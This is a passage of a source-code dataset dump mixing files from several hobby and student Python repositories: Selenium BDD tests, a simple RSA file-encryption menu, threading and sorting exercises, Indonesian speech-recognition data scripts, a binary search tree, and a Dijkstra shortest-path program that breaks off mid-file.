"ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "import pytest\nfrom pytest_bdd import scenario,scenarios,given,when,then,parser\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n\n\n# url \"\nurbankissan_home = \"https://www.urbankisaan.com/\"\n\nscenarios('C:/Users/Rambabu/PycharmProjects/python_bdd_1/test/features/web.feature')\n\n# fixture\[email protected]()\ndef browser():\n driver = webdriver.Chrome(executable_path='C:/Users/Rambabu/Downloads/chromedriver_win32 (1)/chromedriver.exe')\n driver.implicitly_wait(10)\n driver.maximize_window()\n yield driver\n driver.quit()\n\n\n# Given steps\n\n@given('the urbankissan home page displayed',target_fixture='home_page')\ndef home_page(browser):\n browser.get(urbankissan_home)\n\n@when('the user click on Shop now button')\ndef click_shop_now(browser):\n shop_btn = browser.find_element_by_xpath(\"(//a[@href='/shop'])[1]\")\n shop_btn.click()\n\n@when('the user selects products to add')\ndef select_product(browser):\n WebDriverWait(browser,10).until(EC.presence_of_element_located((By.XPATH,\"(//div[@class='logo'])[2]\")))\n element = browser.find_element_by_xpath(\"//h5[normalize-space(text())='Banana G9']//following::button[1]\")\n time.sleep(3)\n #browser.execute_script(\"argument[0].scrollIntoView(false);\",element)\n action = ActionChains(browser)\n action.move_to_element(element).perform()\n element.click()\n\n@when('the user click checkout button')\ndef click_checkout_button(browser):\n element = browser.find_element_by_xpath(\"//button[@class='btn btn-violet cust_checkout ng-star-inserted']\")\n element.click()\n\n@then('the user can able to see product in checkout page')\ndef verify_product(browser):\n time.sleep(10)\n element = browser.find_element_by_xpath(\"//li[@class='ng-star-inserted']//div[@class='_left']//h5\")\n act_value = element.get_attribute('innerText')\n assert act_value == \"Banana G9\"\n\n\n\n" }, { "alpha_fraction": 0.6898733973503113, "alphanum_fraction": 0.6943942308425903, "avg_line_length": 41.57692337036133, "blob_id": "2f68d04a90d9d0e4be830716477d3419a9de4029", "content_id": "c54c3b02ef32a11b995b57adba2d7e92612e0d37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1106, "license_type": "no_license", "max_line_length": 104, "num_lines": 26, "path": "/test/pages/checkout_page.py", "repo_name": "ramuvu/test_bdd", "src_encoding": "UTF-8", "text": "from selenium.webdriver import ActionChains\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom assertpy import assert_that\n\nfrom test.pages.base_page import BasePage\n\nclass CheckOutPage(BasePage):\n\n product_text = (By.XPATH, \"//li[@class='ng-star-inserted']//div[@class='_left']//h5\")\n product_total = (By.XPATH, \"(//p[normalize-space(text()) = 'Total'])[1]//following::p[1]\")\n product_payable = (By.XPATH, \"(//b[normalize-space(text()) = 'Total Payable'])[1]//following::b[1]\")\n\n def __init__(self,driver):\n super().__init__(driver)\n\n def verify_product_txt(self,exp_text):\n act_text = self.get_element_text(self.product_text)\n assert act_text == exp_text\n\n def verify_product_total(self,exp_total,exp_payable):\n act_total = self.get_element_text(self.product_total)\n act_payable = self.get_element_text(self.product_payable)\n assert_that(act_total).contains(exp_total)\n assert_that(act_payable).contains(exp_payable)" } ]
9
HipolitoJr17/Programs
https://github.com/HipolitoJr17/Programs
fb088afba8c66ae8c25223d1c898400a42c19434
9ccd5fc76927fa9bb8469d53037d7acdda6900ad
debbbeddce839bf8e39ad0209c3a54896497ec60
refs/heads/main
2023-03-21T16:23:45.921616
2021-03-09T23:25:29
2021-03-09T23:25:29
343,942,699
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5720576643943787, "alphanum_fraction": 0.5772618055343628, "avg_line_length": 23.75257682800293, "blob_id": "782af395ae92e49225ba35f2c81371e773e6157d", "content_id": "205620728f27f8c384842cd1895ee1e926b5c487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2499, "license_type": "no_license", "max_line_length": 89, "num_lines": 97, "path": "/RSA.py", "repo_name": "HipolitoJr17/Programs", "src_encoding": "UTF-8", "text": "import os\r\n\r\nimport binascii\r\nimport Crypto\r\nfrom Crypto.PublicKey import RSA\r\nfrom Crypto.Cipher import PKCS1_OAEP\r\n\r\n#MENU\r\ndef menu():\r\n\r\n print(\"[+] Bienvenido/a al cifrador RSA HEA, ยฟQue desea realizar? \\n\")\r\n\r\n print(\"[1] Encriptar un archivo con clave asimetrica\")\r\n print(\"[2] Desencriptar un archivo con clave asimetrica\")\r\n\r\n print(\"[0] Salir del sistema \\n\")\r\n\r\n\r\nmenu()\r\noption = int(input(\"[+] Introduzca la seleccion: \"))\r\n\r\nwhile option != 0:\r\n \r\n if option == 1:\r\n\r\n random_generator = Crypto.Random.new().read\r\n\r\n private_key = RSA.generate(2048, random_generator)\r\n public_key = private_key.publickey()\r\n\r\n\r\n\r\n #CREAR ARCHIVO DE LLAVE PRIVADA\r\n private_key = private_key.exportKey(\"PEM\")\r\n\r\n with open (\"PrivateKey.pem\", \"wb\") as pfile:\r\n pfile.write(private_key)\r\n\r\n private_key = RSA.importKey(open(\"PrivateKey.pem\", \"rb\").read())\r\n\r\n\r\n #CREAR ARCHIVO DE LLAVE PUBLICA\r\n public_key = public_key.exportKey(\"PEM\")\r\n\r\n with open (\"PublicKey.pem\", \"wb\") as pfile:\r\n pfile.write(public_key)\r\n\r\n public_key = RSA.importKey(open(\"PublicKey.pem\", \"rb\").read()) \r\n\r\n #ENCRIPTACION\r\n filename = input(\"[+] Introduzca el nombre del archivo que desea encriptar: \")\r\n \r\n with open (filename, \"rb\") as file:\r\n info = file.read()\r\n\r\n message = info\r\n\r\n cipher = PKCS1_OAEP.new(public_key)\r\n encryptmessage = cipher.encrypt(message)\r\n\r\n with open (filename, \"wb\") as file:\r\n file.write(encryptmessage)\r\n\r\n print(\"[+] El archivo fue encriptado con exito\")\r\n input(\"[+] Presione enter para continuar...\")\r\n\r\n pass\r\n\r\n elif option == 2:\r\n\r\n\r\n filename = input(\"[+] Introduzca el nombre del archivo que desea desencriptar: \")\r\n\r\n with open (filename, \"rb\") as file:\r\n encrypinfo = file.read()\r\n\r\n cipher = PKCS1_OAEP.new(private_key)\r\n message = cipher.decrypt(encrypinfo)\r\n\r\n with open (filename, \"wb\") as file:\r\n file.write(message)\r\n\r\n print(\"[+] El archivo fue desencriptado con exito\")\r\n input(\"[+] Presione enter para continuar...\")\r\n\r\n\r\n pass\r\n\r\n else:\r\n print(\"Opcion invalida\")\r\n input(\"[+] Presione enter para continuar...\")\r\n \r\n os.system(\"cls\")\r\n menu()\r\n option = int(input(\"[+] Introduzca la seleccion: \"))\r\n\r\nprint (\"\\nGracias por usar nuestro sistema\")\r\n" } ]
1
zchumager/pythreads
https://github.com/zchumager/pythreads
bac6d47b851a45f8f031cb10c33becc5e6e272d7
61b83a5d6b03207ffc0e2f9f9b2470bb5d3867ce
46ed686d027a7288c63970efbe26cfdf566db039
refs/heads/main
2023-03-12T11:00:49.303345
2021-02-24T02:22:43
2021-02-24T02:22:43
341,752,235
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6036036014556885, "alphanum_fraction": 0.6081081032752991, "avg_line_length": 21.200000762939453, "blob_id": "6791bc9f3d5a0ce60fa083776e69ed667cee51e9", "content_id": "f7878fe851a950dd5c2e6bcd1b4615ee01935abc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 888, "license_type": "no_license", "max_line_length": 71, "num_lines": 40, "path": "/main.py", "repo_name": "zchumager/pythreads", "src_encoding": "UTF-8", "text": "import threading\nimport time\n\nexit_signal = threading.Event()\n\n\ndef send():\n while not exit_signal.is_set():\n print(\"Thread ONE\")\n time.sleep(5) # sleeps to leave control lock\n\n\ndef recv():\n while not exit_signal.is_set():\n print(\"Thread TWO\")\n time.sleep(5) # sleeps to leave control lock\n\n\nif __name__ == \"__main__\":\n # threads definition\n a = threading.Thread(target=send)\n b = threading.Thread(target=recv)\n\n # star the threads\n a.start()\n b.start()\n\n # create loop in main thread\n try:\n while not exit_signal.is_set():\n time.sleep(0.1) # main thread sleeps to leave control lock\n except KeyboardInterrupt: # when ctrl c\n print(\"Interrupting Threads\")\n exit_signal.set() # send signal to all listening threads\n\n # resuming threads\n a.join()\n b.join()\n\n # and you're done...\n" } ]
1
minnaf/nyc-mhtn-ds-060319-lectures
https://github.com/minnaf/nyc-mhtn-ds-060319-lectures
34ff11edcf3b1cbd1570a32a15faa128f126921b
43c96d39d6c5d5b6c65e855337d733ecfc1c0bb2
5ed616ff1401883fb821f3daf0650f7554ace527
refs/heads/master
2020-05-31T03:16:42.994956
2019-08-14T14:57:50
2019-08-14T14:57:50
190,079,679
0
0
null
2019-06-03T20:44:56
2019-06-03T20:38:40
2019-06-03T17:27:38
null
[ { "alpha_fraction": 0.7339449524879456, "alphanum_fraction": 0.7339449524879456, "avg_line_length": 26.25, "blob_id": "8bec07633bcd43b1355282613a8fb1faabd20c29", "content_id": "81e2348ffd49d43e39bc80a4c687ef9421d759ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 109, "license_type": "no_license", "max_line_length": 61, "num_lines": 4, "path": "/Mod_1/SQL/credential.py", "repo_name": "minnaf/nyc-mhtn-ds-060319-lectures", "src_encoding": "UTF-8", "text": "#any sensitive information can be inserted into this file... \n\npassword = 'minnaf123'\nusername = 'testuser'\n" } ]
1
AbooMardiiyah/indonesian-speech-recognition
https://github.com/AbooMardiiyah/indonesian-speech-recognition
557610a584b6bc246d991aaf80547ed0f768d4ae
789e9ff1c2d381e511faced460ea9bba7c9a4a9a
e061847e9bdf4601d9cdc6613fb87e52092a9a47
refs/heads/main
2023-06-18T05:35:26.859154
2021-07-12T11:29:16
2021-07-12T11:29:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.412714421749115, "alphanum_fraction": 0.42078709602355957, "avg_line_length": 45.11627960205078, "blob_id": "c003a577686701401e1195097b5f6b7209fda67c", "content_id": "df2659ef861f3bdd077f1c83a54b094cf6b28379", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1982, "license_type": "permissive", "max_line_length": 92, "num_lines": 43, "path": "/news_splitter.py", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "from pathlib import Path\nfrom langdetect import detect\nfrom text_normalizer import TextProcessor\n\nnews_path = Path(\"/mnt/mldata/data/newspapers/newspapers-clean.txt\")\nvoices_path = Path(\"/mnt/mldata/data/ASR/news/newspapers.tsv\")\nmin_text_length = 15\n\ntp = TextProcessor()\n\nwith open(news_path, \"r\") as news:\n i = 1\n with open(voices_path, \"w\") as voices:\n voices.write(f'path\\tsentence\\n')\n for line in news:\n if line != \"\\n\" and len(line) > min_text_length:\n line = line.strip()\n try:\n lang = detect(line)\n if lang == \"id\":\n sentences = line.split(\". \")\n sentence_merged = \"\"\n for sentence in sentences:\n if len(sentence) > min_text_length:\n sentence = tp.normalize(sentence)\n if len(sentence) + len(sentence_merged) < min_text_length*4:\n if sentence_merged == \"\":\n sentence_merged = sentence\n else:\n sentence_merged = sentence_merged + f'. {sentence}'\n continue\n if sentence_merged == \"\":\n sentence_merged = sentence\n else:\n sentence_merged = sentence_merged + f'. {sentence}'\n if (i-1) % 10000 == 0:\n print(f'newspapers_{i:09}.ogg\\t{sentence_merged}')\n voices.write(f'newspapers_{i:09}.ogg\\t{sentence_merged}.\\n')\n sentence_merged = \"\"\n i += 1\n except Exception as e:\n print(sentence)\n print(e)" }, { "alpha_fraction": 0.5961706042289734, "alphanum_fraction": 0.6275022029876709, "avg_line_length": 28.487178802490234, "blob_id": "f9b08b7d91dc5c53394a6cea620c1f8375d7319b", "content_id": "50b1e4fd5eed549a6775575c6e90c96548ff0644", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1149, "license_type": "permissive", "max_line_length": 79, "num_lines": 39, "path": "/voice_duration.py", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "from pathlib import Path\nimport librosa\nimport datetime\nfrom pydub import AudioSegment\n\ndata_dir = \"/mnt/mldata/data/ASR/news/id-Wavenet\"\n\n\ndef duration(dir, ext):\n path = Path(dir).glob(f'**/*.{ext}')\n duration = 0.0\n counter = 0\n for filename in path:\n if counter % 100 == 0:\n print(counter, datetime.timedelta(seconds=duration), filename)\n counter += 1\n if filename.is_file():\n duration += librosa.get_duration(filename=str(filename))\n # print(f'{duration}s, {duration/60}m, {duration/3600}h')\n return duration\n\n\ndef pduration(dir, ext):\n path = Path(dir).glob(f'**/*.{ext}')\n duration = 0.0\n counter = 0\n for filename in path:\n if counter % 100 == 0:\n print(counter, datetime.timedelta(seconds=duration/1000), filename)\n counter += 1\n if filename.is_file():\n sound = AudioSegment.from_file(filename, format=ext)\n duration += len(sound)\n # print(f'{duration}s, {duration/60}m, {duration/3600}h')\n return duration/1000\n\n\nsound_length = duration(data_dir, \"ogg\")\nprint(str(datetime.timedelta(seconds=sound_length)))" }, { "alpha_fraction": 0.8684210777282715, "alphanum_fraction": 0.8684210777282715, "avg_line_length": 37, "blob_id": "98e9a5fdd1024097039ea0bd50e8d62a804e0cb4", "content_id": "87108f6bbac91495f537b17e6740f3c1a3cd16fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 76, "license_type": "permissive", "max_line_length": 43, "num_lines": 2, "path": "/README.md", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "# Indonesian Speech Recognition\nAutomatic Speech Recognition for Indonesian\n" }, { "alpha_fraction": 0.6358574628829956, "alphanum_fraction": 0.6503340601921082, "avg_line_length": 31.10714340209961, "blob_id": "177d75ed6b2253443f7fe112ae0a59f30539dcdd", "content_id": "2be80f727de054c18146442a953a937c7c603577", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 898, "license_type": "permissive", "max_line_length": 84, "num_lines": 28, "path": "/sound_resampler.py", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "import sys\nfrom pathlib import Path\nimport torchaudio\n\n\"\"\"\nThe script resample sound files to 16KHz and save it as ogg files. \n\n\"\"\"\n\nif len(sys.argv) != 3:\n print(sys.argv[0], \"<source directory> <destination directory>\")\n exit(1)\n\nsrc_dir = Path(sys.argv[1])\ndst_dir = Path(sys.argv[2])\ndst_sample_rate = 16_000\n\nfor path in Path(src_dir).rglob('*'):\n if path.suffix in [\".mp3\", \".ogg\", \".wav\"]:\n print(path.name)\n data, src_sample_rate = torchaudio.load(path)\n resampler = torchaudio.transforms.Resample(src_sample_rate, dst_sample_rate)\n data = resampler(data)\n dst_path = Path(str(path.parent).replace(str(src_dir), str(dst_dir)))\n dst_path.mkdir(parents=True, exist_ok=True)\n dst_path = dst_path/f'{path.stem}.ogg'\n dst_path.parent.mkdir(parents=True, exist_ok=True)\n torchaudio.save(str(dst_path), data, dst_sample_rate)" }, { "alpha_fraction": 0.6838095188140869, "alphanum_fraction": 0.6933333277702332, "avg_line_length": 28.22222137451172, "blob_id": "43d1fa7fba9c2a52b6be1cec32ed692cac2d0c4a", "content_id": "dd87eed7925ad5a192da9ba2e6b14f618fda6cc8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 525, "license_type": "permissive", "max_line_length": 71, "num_lines": 18, "path": "/sound_converter.py", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "from pathlib import Path\nimport librosa\nimport soundfile as sf\n\n\"\"\"\nThe script convert the ogg files from opus subtype to with vorbis ogg. \n\"\"\"\n\nroot_dir = Path(\"/mnt/mldata/data/ASR/news/test\")\nsrc_dir = root_dir/\"src\"\ndst_dir = root_dir/\"dst\"\n\nfor path in Path(src_dir).rglob('*.ogg'):\n print(path.name)\n data, sample_rate = librosa.load(path, sr=16000)\n dst_path = Path(str(path).replace(str(src_dir), str(dst_dir)))\n dst_path.parent.mkdir(parents=True, exist_ok=True)\n sf.write(dst_path, data, sample_rate)" }, { "alpha_fraction": 0.6936507821083069, "alphanum_fraction": 0.7317460179328918, "avg_line_length": 29.0238094329834, "blob_id": "29ab3c7f510d6d747b6bb9f971915b29e8bf21e0", "content_id": "f09b6728a3a5ed5c28a26d711bf02aa1d983cc54", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1260, "license_type": "permissive", "max_line_length": 187, "num_lines": 42, "path": "/synthetic-voices/run-news.sh", "repo_name": "AbooMardiiyah/indonesian-speech-recognition", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n## This script uses https://github.com/cahya-wirawan/artificial-commonvoice to\n## generates synthetic voices. It reads the SOURCE_FILE to retrieve the sound file name and its sentences.\n## It generates 4 voice types for each sentence: id-ID-Wavenet-A, id-ID-Wavenet-B, id-ID-Wavenet-C, id-ID-Wavenet-D.\n## It starts from the line number START+1 to the line number END of SOURCE_FILE.\n## The result will be stored in DESTINATION_DIR.\n\n## Please update following SOURCE_FILE and DESTINATION_DIR accordingly\nSOURCE_FILE=\"/mnt/mldata/data/ASR/news/id-newspapers-small.tsv\"\nDESTINATION_DIR=\"/mnt/mldata/data/ASR/news/id-newspapers\"\n\n## Please uncomment the variable START according to your name\n\n## Cahya\n#START=0\n\n## Galuh\n#START=100000\n\n## Akmal\n#START=200000\n\n## Yasir\n#START=300000\n\n# Agung\n#START=400000\n\n## Samsul\n#START=500000\n\n# Length is *ten thousand* lines. Since we use 4 voice types, it will generate 4*10000 synthetic sound files.\nLENGTH=10000\nEND=$((START+LENGTH))\n\nif [ -z ${START} ]\nthen\n echo \"Please set the env variable START properly\"\nelse\n python commonvoice.py --debug -s -t 0.15 -c \"${SOURCE_FILE}\" -v id-ID-Wavenet-A id-ID-Wavenet-B id-ID-Wavenet-C id-ID-Wavenet-D --start \"${START}\" --end \"${END}\" -o \"${DESTINATION_DIR}\"\nfi" } ]
6
adamburford/COP4533
https://github.com/adamburford/COP4533
6f00c06b8334d8c4ab76c2a56f24ab0231b8ace8
d40e2e67fbe7c4dc9888117b5a40c213de40ee58
6d326f17e37811efd01c4fa0eacb281e3aeb65d9
refs/heads/master
2023-01-19T06:37:47.878983
2020-11-30T05:18:54
2020-11-30T05:18:54
310,965,682
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6052910089492798, "alphanum_fraction": 0.6380952596664429, "avg_line_length": 35.38461685180664, "blob_id": "111ad087e4853ab68626c589098de2bf3ec7db7c", "content_id": "6572706a12309f85284a33f4eccabcdfdba7d5be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "no_license", "max_line_length": 327, "num_lines": 26, "path": "/COP4533/Assignment 3/quick_test.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom quick_string_list import QuickStringList\nfrom string import ascii_lowercase, ascii_uppercase\nfrom timeit import repeat\nfrom random import choices, randint, randrange\nfrom statistics import mean\n\ndef main():\n\n print(\"QuickStringList Test\")\n\n print(\"\\n\\nTimeIt Sort Results\\n--------------------------------------------------------------------------------\")\n\n times = repeat(\"my_list.sort()\", \"from string import ascii_lowercase, ascii_uppercase;from quick_string_list import QuickStringList;from random import choices;\\nmy_list = QuickStringList();\\nfor y in (''.join(choices(ascii_uppercase + ascii_lowercase, k = 3)) for _ in range(100)): my_list.add(y)\", number=1, repeat=100000)\n\n print(\"100,000 sorts of 100 random strings:\\n\")\n print(\"Total Time: \" + str(sum(times)) + \"\\n\")\n print(\"Average Time: \" + \"{0:0.8f}\".format(mean(times)))\n\n print(\"\\n\")\n\nif __name__ == \"__main__\":\n\tmain()" }, { "alpha_fraction": 0.42947202920913696, "alphanum_fraction": 0.44365641474723816, "avg_line_length": 16.859155654907227, "blob_id": "5cc71942949e4e9cbaf558958faf588b87d6bcda", "content_id": "3682799f4c3cdf4af3b584b2ed79d46cf15de20a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 43, "num_lines": 71, "path": "/COP4533/Assignment 3/merge_string_list.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass MergeStringList(object):\n \"\"\"Merge String List\"\"\"\n\n def __init__(self):\n \n self.__list = []\n\n def __iter__(self):\n return iter(self.__list)\n\n def __getitem__(self, key):\n return self.__list[key]\n\n def __setitem__(self, key, value):\n self.__list[key] = value\n\n def __str__(self):\n return str(self.__list)\n\n def __len__(self):\n return len(self.__list)\n\n def add(self, value):\n self.__list.append(value)\n \n def sort(self):\n __merge_sort__(self.__list)\n\ndef __merge_sort__(list):\n\n if len(list) > 1:\n\n middle = len(list) >> 1\n\n left = list[:middle]\n right = list[middle:]\n\n __merge_sort__(left)\n __merge_sort__(right)\n\n __merge__(list, left, right)\n\n\ndef __merge__(list, left, right):\n\n l = r = i = 0\n \n while l < len(left) and r < len(right):\n \n if left[l] < right[r]:\n list[i] = left[l]\n l += 1\n else:\n list[i] = right[r]\n r += 1\n\n i += 1\n \n while l < len(left):\n list[i] = left[l]\n i += 1\n l += 1\n \n while r < len(right):\n list[i] = right[r]\n r += 1\n i += 1\n\n" }, { "alpha_fraction": 0.5536105036735535, "alphanum_fraction": 0.5556527972221375, "avg_line_length": 31.633333206176758, "blob_id": "220cbff82c08b25fa9768191868e47235b3d6532", "content_id": "ace4da5d5175cf362a4f8630816ea530749d1947", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6855, "license_type": "no_license", "max_line_length": 83, "num_lines": 210, "path": "/COP4533/Assignment 3/binary_tree.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nclass BinarySearchTree:\n \"\"\"Binary Search Tree class from:\n Problem Solving with Algorithms and Data Structures using Python\n By Brad Miller and David Ranum, Luther College\n --Minor refactoring by Adam Burford\n --Also removed key from nodes, now operates only on values\"\"\"\n\n def __init__(self):\n self.root = None\n self.size = 0\n\n def length(self):\n return self.size\n\n def __len__(self):\n return self.size\n\n def put(self, value):\n if self.root:\n self._put(value, self.root)\n else:\n self.root = TreeNode(value)\n self.size = self.size + 1\n\n def _put(self, value, current_node):\n if value < current_node.value:\n if current_node.hasLeftChild():\n self._put(value, current_node.left_child)\n else:\n current_node.left_child = TreeNode(value, parent = current_node)\n else:\n if current_node.hasRightChild():\n self._put(value, current_node.right_child)\n else:\n current_node.right_child = TreeNode(value,parent=current_node)\n\n\n\n def get(self, value):\n if self.root:\n match = self._get(value, self.root)\n if match:\n return match.value\n else:\n return None\n else:\n return None\n\n def _get(self, value, current_node):\n\n if not current_node:\n return None\n elif current_node.value == value:\n return current_node\n elif value < current_node.value:\n return self._get(value, current_node.left_child)\n else:\n return self._get(value, current_node.right_child)\n\n def __getitem__(self, value):\n return self.get(value)\n\n def __setitem__(self, k, v):\n self.put(k, v)\n\n def __contains__(self, key):\n return self._get(key, self.root) != None\n\n def delete(self, value):\n if self.size > 1:\n nodeToRemove = self._get(value, self.root)\n if nodeToRemove:\n self.remove(nodeToRemove)\n self.size = self.size-1\n else:\n raise KeyError('Error, key not in tree')\n elif self.size == 1 and self.root.value == value:\n self.root = None\n self.size = self.size - 1\n else:\n raise KeyError('Error, key not in tree')\n\n def __delitem__(self,key):\n self.delete(key)\n\n def remove(self, currentNode):\n if currentNode.isLeaf():\n if currentNode == currentNode.parent.left_child:\n currentNode.parent.left_child = None\n else:\n currentNode.parent.right_child = None\n elif currentNode.hasBothChildren():\n succ = currentNode.findSuccessor()\n succ.spliceOut()\n currentNode.value = succ.value\n\n else:\n if currentNode.hasLeftChild():\n if currentNode.isLeftChild():\n currentNode.left_child.parent = currentNode.parent\n currentNode.parent.left_child = currentNode.left_child\n elif currentNode.isRightChild():\n currentNode.left_child.parent = currentNode.parent\n currentNode.parent.right_child = currentNode.left_child\n else:\n currentNode.replaceNodeData(currentNode.left_child.value,\n currentNode.left_child.left_child,\n currentNode.left_child.right_child)\n else:\n if currentNode.isLeftChild():\n currentNode.right_child.parent = currentNode.parent\n currentNode.parent.left_child = currentNode.right_child\n elif currentNode.isRightChild():\n currentNode.right_child.parent = currentNode.parent\n currentNode.parent.right_child = currentNode.right_child\n else:\n currentNode.replaceNodeData(currentNode.right_child.value,\n currentNode.right_child.left_child,\n currentNode.right_child.right_child)\n\nclass TreeNode:\n \"\"\"Binary Search Tree Node class from:\n Problem Solving with Algorithms and Data Structures using Python\n By Brad Miller and David Ranum, Luther College\n --Minor refactoring by Adam Burford\"\"\"\n\n def __init__(self, value, left = None, right = None, parent = None):\n self.value = value\n self.left_child = left\n self.right_child = right\n self.parent = parent\n\n def hasLeftChild(self):\n return self.left_child\n\n def hasRightChild(self):\n return self.right_child\n\n def isLeftChild(self):\n return self.parent and self.parent.left_child == self\n\n def isRightChild(self):\n return self.parent and self.parent.right_child == self\n\n def isRoot(self):\n return not self.parent\n\n def isLeaf(self):\n return not (self.right_child or self.left_child)\n\n def hasAnyChildren(self):\n return self.right_child or self.left_child\n\n def hasBothChildren(self):\n return self.right_child and self.left_child\n\n def spliceOut(self):\n\n if self.isLeaf():\n if self.isLeftChild():\n self.parent.left_child = None\n else:\n self.parent.right_child = None\n elif self.hasAnyChildren():\n if self.hasLeftChild():\n if self.isLeftChild():\n self.parent.left_child = self.left_child\n else:\n self.parent.right_child = self.left_child\n self.left_child.parent = self.parent\n else:\n if self.isLeftChild():\n self.parent.left_child = self.right_child\n else:\n self.parent.right_child = self.right_child\n self.right_child.parent = self.parent\n\n def findSuccessor(self):\n succ = None\n if self.hasRightChild():\n succ = self.right_child.findMin()\n else:\n if self.parent:\n if self.isLeftChild():\n succ = self.parent\n else:\n self.parent.right_child = None\n succ = self.parent.findSuccessor()\n self.parent.right_child = self\n return succ\n\n def findMin(self):\n current = self\n while current.hasLeftChild():\n current = current.left_child\n return current\n\n def replaceNodeData(self, value, lc, rc):\n self.key = key\n self.value = value\n self.left_child = lc\n self.right_child = rc\n if self.hasLeftChild():\n self.left_child.parent = self\n if self.hasRightChild():\n self.right_child.parent = self\n\n\n" }, { "alpha_fraction": 0.48828125, "alphanum_fraction": 0.5093749761581421, "avg_line_length": 40.290321350097656, "blob_id": "9da23085c8f3b3dce52a4435366ce10ebe0055ca", "content_id": "d79e47aae1214c12e7104b90cb6dcbe4af566962", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1280, "license_type": "no_license", "max_line_length": 152, "num_lines": 31, "path": "/COP4533/Assignment 3/binary_test.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n\nfrom binary_string_list import BinaryStringList\nfrom string import ascii_lowercase, ascii_uppercase\nfrom timeit import repeat\nfrom random import choices, randint, randrange\n\ndef main():\n my_list = BinaryStringList()\n\n for y in (''.join(choices(ascii_uppercase + ascii_lowercase, k = 3)) for _ in range(20)): my_list.add(y)\n\n print(\"BinaryStringList Test\\n--------------------------------------------------------------------------------\")\n print(\"Test List: \" + str(my_list))\n \n print(\"\\nIn List Results\\n--------------------------------------------------------------------------------\")\n in_list_times = repeat(\"my_list.find(item)\", \"from random import randrange; item = my_list[randrange(20)]\", globals={'my_list': my_list}, repeat=10)\n i = 1\n for time in in_list_times: print(\"Run \" + str(i) + \": \" + \"{0:0.8f}\".format(time)); i += 1\n\n print(\"\\n\\nNot in List Results\\n--------------------------------------------------------------------------------\")\n not_in_list_times = repeat(\"my_list.find('not_in_list')\", globals={'my_list': my_list}, repeat=10)\n i = 1\n for time in not_in_list_times: print(\"Run \" + str(i) + \": \" + \"{0:0.8f}\".format(time)); i += 1\n\n print(\"\\n\")\n\nif __name__ == \"__main__\":\n\tmain()\n" }, { "alpha_fraction": 0.39417895674705505, "alphanum_fraction": 0.47394898533821106, "avg_line_length": 30.988506317138672, "blob_id": "70451b41e900f51750840c69e4356aa878d95f1b", "content_id": "fa245823f306f71c23b062267be4c319604041f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2783, "license_type": "no_license", "max_line_length": 191, "num_lines": 87, "path": "/COP4533/Assignment 4/program_a.py", "repo_name": "adamburford/COP4533", "src_encoding": "UTF-8", "text": "#Adam Burford\n#COP4533\n#Section 3594\n#Program A - Shortest Path\n#Dijkstra's Algorithm\n#with Adjacency Matrix implementation\n\nfrom sys import maxsize\nfrom timeit import repeat\n\nclass Graph:\n def __init__(self, v, w):\n self.vertices = v\n self.weights = w\n self.vertex_count = len(self.vertices[0])\n self.visited = [False] * self.vertex_count\n self.distance = [0] + ([maxsize] * (self.vertex_count - 1))\n\n def visisted(self, index):\n return self.visisted[index]\n\n def next_node(self):\n\n v = -1\n\n for index in range(self.vertex_count):\n\n if not self.visited[index] and (v < 0 or self.distance[index] <= self.distance[v]):\n v = index\n\n return v\n\n def dijkstra(self, target):\n\n for vertex in range(self.vertex_count):\n\n next_visit = self.next_node()\n\n for neighbor in range(self.vertex_count):\n\n if self.vertices[next_visit][neighbor] == 1 and not self.visited[neighbor]:\n new_distance = self.distance[next_visit] + self.weights[next_visit][neighbor]\n\n if self.distance[neighbor] > new_distance:\n self.distance[neighbor] = new_distance\n\n self.visited[next_visit] = True\n\n return self.distance[target]\n\ndef main():\n # 